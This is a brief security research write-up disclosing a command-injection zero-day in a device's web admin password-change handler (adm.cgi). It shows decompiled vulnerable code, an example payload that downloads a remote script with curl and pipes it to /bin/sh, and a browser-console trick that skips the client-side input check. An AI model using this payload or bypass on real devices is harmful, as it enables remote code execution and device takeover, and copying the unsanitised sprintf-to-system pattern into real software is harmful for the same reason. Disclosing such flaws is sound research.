Finding a Zero-Day

The zero-day we found in the password change functionality.

From adm.cgi in set_sys_adm:

```
pcVar3 = (char *)web_get("newpass",param_1,0);
...
iVar5 = strcmp(__s1,pcVar3);
if (iVar5 != 0) {
sprintf((char *)local_1a8,
        "echo -n %s:%s > /tmp/tmpchpw && /usr/sbin/chpasswd < /tmp/tmpchpw && rm -fr
        ↪   /tmp/tmpchpw"
        ,uVar1);
system((char *)local_1a8);
nvram_bufset(0,"Login",uVar1);
nvram_bufset(0,"Password",pcVar3);
```

Ghidra didn't perfectly decompile it, but the username and password are both passed to sprintf. The username is not user-controlled, but the password is.

Example payload: `curl http://192.168.10.100:8000/a | /bin/sh`

If doing the shell injection through the web GUI in a browser, the javascript detects that you have invalid chars in your password. Bypassing the normal function can be done by using the browser console to directly **POST** the form:

```
document.getElementById("form2").submit()
```

We've included screenshots of our slack channel in the presentation if someone also finds and publishes this one. Those screenshots should show the date we first found this vulnerability.